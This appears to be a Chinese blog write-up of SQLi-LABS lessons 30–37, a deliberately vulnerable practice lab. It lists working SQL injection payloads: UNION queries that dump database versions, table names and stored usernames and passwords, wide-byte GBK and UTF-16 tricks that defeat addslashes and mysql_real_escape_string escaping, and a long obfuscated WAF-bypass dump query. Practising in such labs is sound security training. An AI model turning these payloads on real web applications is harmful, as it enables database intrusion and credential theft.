SQLi-LABS Page-2 (Adv Injections) Less30-Less35
Less-30
GET - BLIND - IMPIDENCE MISMATCH- Having
http://10.10.202.112/sqli/Less-30?id=1" #false
http://10.10.202.112/sqli/Less-30?id=1"--+ #true
http://10.10.202.112/sqli/Less-30?id=1" order by 4--+ #false
http://10.10.202.112/sqli/Less-30?id=1" order by 3--+ #true
http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,2,3--+
http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,user(),version()--+
Less-31
GET - BLIND - IMPIDENCE MISMATCH- Having
http://10.10.202.112/sqli/Less-31?id=1"
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-31\index.php on line 33
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near '"1"") LIMIT 0,1' at line 1
进行闭合
http://10.10.202.112/sqli/Less-31?id=1")--+ #true
http://10.10.202.112/sqli/Less-31?id=1") order by 3--+ #true
http://10.10.202.112/sqli/Less-31?id=1") order by 4--+ #false
http://10.10.202.112/sqli/Less-31?id=-1") union select 1,2,3--+
http://10.10.202.112/sqli/Less-31?id=-1") union select 1,user(),database()--+
Less-32
GET - Bypass custom filter adding slashe
宽字节注入的问题
原理
mysql 在使用GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个ascii 码大于128 才能到汉字的范围)。我们在过滤’ 的时候,往往利用的思路是将’ 转换为’ (转换的函数或者思路会在每一关遇到的时候介绍)。
%df 吃掉 \ 具体的原因是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是bypass 的一种方法。
注入思路
将’ 前面添加的\ 除掉,一般有两种思路:
urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的
http://10.10.202.112/sqli/Less-32?id=1%df%27
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-32\index.php on line 43
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ''1�\'' LIMIT 0,1' at line 1
进行闭合
http://10.10.202.112/sqli/Less-32?id=1%df%27 order by 3--+ #true
http://10.10.202.112/sqli/Less-32?id=1%df%27 order by 4--+ #false
http://10.10.202.112/sqli/Less-32?id=-1%df%27 union select 1,2,3--+
http://10.10.202.112/sqli/Less-32?id=-1%df%27 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3--+
Less-33
原理
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
过滤:
单引号(')
双引号(")
反斜杠(\)
http://10.10.202.112/sqli/Less-33?id=1%df%27
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-33\index.php on line 39
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ''1�\'' LIMIT 0,1' at line 1
尝试闭合
http://10.10.202.112/sqli/Less-33?id=1%df%27--+
http://10.10.202.112/sqli/Less-33?id=-1%df%27 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+
Less-34
原理
本关是 post 型的注入漏洞,同样的也是将post 过来的内容进行了 ‘’ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而 get 型的方式我们是以 url 形式提交的,因此数据会通过URLencode,如何将方法用在 post 型的注入当中,我们此处介绍一个新的方法。
将 utf-8 转换为 utf-16 或 utf-32,例如将 ’ 转为 utf-16 为 %EF%BF%BD% 。我们就可以利用这个方式进行尝试。
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
SELECT username, password FROM users WHERE username='%EF%BF%BD%' or 1=1-- -' and password='$passwd' LIMIT 0,1
SELECT username, password FROM users WHERE username='%EF%BF%BD%' or 1=1
payload:
username: %EF%BF%BD'or 1=1#
password: 123
Less-35
GET - Bypass addslashes(we don’t need them) Integer based
查看源码,可以判断为整形注入吧
http://10.10.202.112/sqli/Less-35?id=1 and 1=1--+ #true
http://10.10.202.112/sqli/Less-35?id=1 and 1=2--+ #false
http://10.10.202.112/sqli/Less-35?id=-1 union select 1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+
Less-36
GET - Bypass MySQL_real_eacape_string
原理
mysql_real_escape_string() 函数
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false
但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string() 依旧能够被突破
payload:
%EF%BF%BD%27
http://10.10.202.112/sqli/Less-36?id=1%EF%BF%BD%27--+
http://10.10.202.112/sqli/Less-36?id=-1%EF%BF%BD%27 union select 1,concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/,3--+
Less-37
POST - Bypass MySQL_real_escape_string
post 内容用的是 mysql_real_escape_string()函数,而不是 addslashes()函数
payload:
uname: %EF%BF%BD'or 1=1#
passwd: 123
待续!!!
点击赞赏二维码,您的支持将鼓励我继续创作!
SQLi-LABS Page-2 (Adv Injections) Less30-Less35的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- SQLi-LABS Page-2 (Adv Injections) Less23-Less26
Less-23 GET - Error based - strip comments http://10.10.202.112/sqli/Less-23?id=1' Warning: mysql_fe ...
- 【靶场练习_sqli-labs】SQLi-LABS Page-2 (Adv Injections)
Less-21:括号+单引号绕过+base64cookie编码 总感觉我已经把sql注入做成代码审计了:P <?php //including the Mysql connect paramet ...
- SQLi-LABS Page-2 (Adv Injections) Less27-Less29
Less-27 GET - Error Based- All your UNION and select belong to us 过滤了union 和select的报错注入 查看源码: 使用%09 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
随机推荐
- 【Gradle】Gradle入门
Gradle入门 配置Gradle环境 安装之前确保已经安装配置好Java环境,要求JDK6以上,并且在环境变量里配置了JAVA_HOME,查看Java版本可以在终端输入如下命令: java -ver ...
- Object-C一日速成——环境搭建
要我说,想要学习一门语言,搭建好相关的环境可以达到事半功倍的效果,那么今天我们就来聊一聊关于在windows系统上搭建Object-C语言编程环境的那些事. 文章目录 一.基于CodeBlocks的O ...
- [20190531]建立job与commit.txt
[20190531]建立job与commit.txt --//昨天看链接:https://connor-mcdonald.com/2019/05/28/dbms_job-the-joy-of-tran ...
- C学习笔记(11)--- 可变参数,浅谈内存管理 【C基础概念系列完结】
1.可变参数(variable arguments): 可变参数允许您定义一个函数,能根据具体的需求接受可变数量的参数. int func(int, ... ) (函数 fun ...
- 01-路由跳转 安装less this.$router.replace(path) 解决vue/cli3.0语法报错问题
2==解决vue2.0里面控制台包的一些语法错误. https://www.jianshu.com/p/5e0a1541418b 在build==>webpack.base.conf.j下注释掉 ...
- 在安装完jdk以后,发现javac不能执行
安装和配置环境变量都按着流程在,但在最后的检验时,发现Java Java -version 都能运行,唯独Javac 报“不能识别命令”错误信息,下面列出我遇到一个尴尬问题 在path变量里
- 201871010116-祁英红《面向对象程序设计(java)》第四周学习总结
博文正文开头格式:(2分) 项目 内容 <面向对象程序设计(java)> https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://ww ...
- day65_10_9vue循环指令与组件
一.v-once v-once指令赋值给标签后,这个标签中的所有变量都不能被更改,只能被渲染一次.之后的改动不能改变该标签中的值: <div id="app"> < ...
- CF991C Candies
CF991C Candies 洛谷评测传送门 题目描述 After passing a test, Vasya got himself a box of nn candies. He decided ...
- C语言中关于输出n个数后就换行的问题。
例如:n=10 ........; n++; if(n%10==0&&n!=0) //因为当n=0时,n%10的值也是0,就也会转行,为了防止这种情况的发生,就用了&&a ...